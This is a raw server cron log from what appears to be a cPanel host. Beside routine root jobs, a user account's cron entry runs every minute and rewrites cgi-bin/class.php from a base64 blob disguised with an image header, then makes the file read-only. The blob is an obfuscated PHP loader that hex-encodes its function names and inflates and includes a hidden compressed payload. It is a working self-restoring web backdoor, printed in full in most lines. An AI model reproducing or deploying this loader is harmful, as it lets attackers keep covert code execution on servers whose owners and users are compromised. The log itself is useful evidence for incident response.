Nov 11 10:18:01 server CROND[9095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:19:01 server CROND[9538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:20:01 server CROND[10165]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:20:01 server CROND[10168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:20:01 server CROND[10171]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 10:20:01 server CROND[10174]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 10:20:01 server CROND[10176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:21:01 server CROND[10725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:22:02 server CROND[11606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:23:01 server CROND[12408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:24:01 server CROND[13233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:25:01 server CROND[14059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:25:01 server CROND[14061]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:25:01 server CROND[14063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:25:01 server CROND[14062]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:26:01 server CROND[15048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:27:01 server CROND[15881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:27:01 server CROND[15882]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 10:28:01 server CROND[16708]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:29:01 server CROND[17544]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:30:01 server CROND[18409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:30:01 server CROND[18411]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 10:30:01 server CROND[18414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:30:01 server CROND[18412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
